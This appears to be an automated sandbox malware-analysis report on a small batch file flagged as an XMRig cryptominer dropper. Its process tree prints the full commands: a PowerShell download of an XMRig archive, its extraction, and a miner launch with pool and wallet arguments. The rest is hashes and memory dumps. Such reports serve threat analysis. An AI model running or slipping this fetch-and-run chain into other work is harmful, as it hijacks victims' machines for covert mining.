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Analysis

  • max time kernel
    1819s
  • max time network
    1836s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 09:06

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2144
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4872

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    46946eb2247091209d1b5175a8316843

    SHA1

    a5c1fd14c2efd318d2c39dbd64ffe2fc9b211485

    SHA256

    11452fcaf0f330ac73b0a10ec5d0eecd574cde2d6699ca8778bced443290685c

    SHA512

    ebd3186573260515cc35bb213c580c2e34568e539db7f81b9f5ebbc2d96842c2282772094fe4a811bfc78bdad6f2dc445b42c8f3c6cb410404f193963a19b1ec

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ztkiogxq.ab2.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    272KB

    MD5

    0aa062f4bc64f1cfd4c8b0961ba666af

    SHA1

    3eec50651a55a8021978c7f67ec187612c1d80be

    SHA256

    2e7dcee8f5337238d3d460fae0814ef9aa3713a5e1d4fd850dfab8a86bc9fc48

    SHA512

    025c4e148993ced5721b57844c5687366cda470d8bc64ef6d2f95582b78e92250ba2bfb3f492c7f2e2177605e64ac43f5bb5f39d9a12ec364889673e425e3767

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    380KB

    MD5

    a8dc3c8cdbb1852415cdbd22cef31040

    SHA1

    4a850ffcd16d82b552b1a1c37d2b891f6bcad99b

    SHA256

    8c7367e5750c01b7484f1ef2b68b648d8383a8f706cc36081307daa3bef93ccd

    SHA512

    68a0850c2c435032376c3fd850144bcfb4ac62e14103de46643ce765c12eebe5303258c324736dac01854931f779df2f19c02bd1d3a3c3f818014b068b237b75

  • memory/2144-40-0x0000025555D70000-0x0000025555D80000-memory.dmp

    Filesize

    64KB

  • memory/2144-89-0x0000025555F80000-0x0000025555F8A000-memory.dmp

    Filesize

    40KB

  • memory/2144-37-0x00007FFD1DB60000-0x00007FFD1E54C000-memory.dmp

    Filesize

    9.9MB

  • memory/2144-113-0x00007FFD1DB60000-0x00007FFD1E54C000-memory.dmp

    Filesize

    9.9MB

  • memory/2144-62-0x0000025555D70000-0x0000025555D80000-memory.dmp

    Filesize

    64KB

  • memory/2144-76-0x0000025555FA0000-0x0000025555FB2000-memory.dmp

    Filesize

    72KB

  • memory/2144-38-0x0000025555D70000-0x0000025555D80000-memory.dmp

    Filesize

    64KB

  • memory/2528-4-0x000001927E5E0000-0x000001927E602000-memory.dmp

    Filesize

    136KB

  • memory/2528-5-0x00007FFD1DB60000-0x00007FFD1E54C000-memory.dmp

    Filesize

    9.9MB

  • memory/2528-6-0x0000019264630000-0x0000019264640000-memory.dmp

    Filesize

    64KB

  • memory/2528-7-0x0000019264630000-0x0000019264640000-memory.dmp

    Filesize

    64KB

  • memory/2528-10-0x000001927E690000-0x000001927E706000-memory.dmp

    Filesize

    472KB

  • memory/2528-25-0x0000019264630000-0x0000019264640000-memory.dmp

    Filesize

    64KB

  • memory/2528-30-0x00007FFD1DB60000-0x00007FFD1E54C000-memory.dmp

    Filesize

    9.9MB

  • memory/4872-140-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-150-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-119-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-120-0x000001E03F4C0000-0x000001E03F500000-memory.dmp

    Filesize

    256KB

  • memory/4872-121-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-122-0x000001E0D1EC0000-0x000001E0D1EE0000-memory.dmp

    Filesize

    128KB

  • memory/4872-123-0x000001E03F500000-0x000001E03F520000-memory.dmp

    Filesize

    128KB

  • memory/4872-124-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-125-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-126-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-128-0x000001E03F500000-0x000001E03F520000-memory.dmp

    Filesize

    128KB

  • memory/4872-127-0x000001E0D1EC0000-0x000001E0D1EE0000-memory.dmp

    Filesize

    128KB

  • memory/4872-129-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-130-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-131-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-132-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-133-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-134-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-135-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-136-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-137-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-138-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-139-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-116-0x000001E03F470000-0x000001E03F490000-memory.dmp

    Filesize

    128KB

  • memory/4872-141-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-142-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-143-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-144-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-145-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-146-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-147-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-148-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-149-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-117-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-151-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-152-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-153-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-154-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-155-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-156-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-157-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-158-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-159-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-160-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-161-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-162-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-163-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-164-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-165-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-166-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-167-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-168-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-169-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-170-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-171-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-172-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-173-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-174-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-175-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-176-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-177-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-178-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-179-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-180-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-181-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-182-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-183-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-184-0x00007FF697750000-0x00007FF698253000-memory.dmp

    Filesize

    11.0MB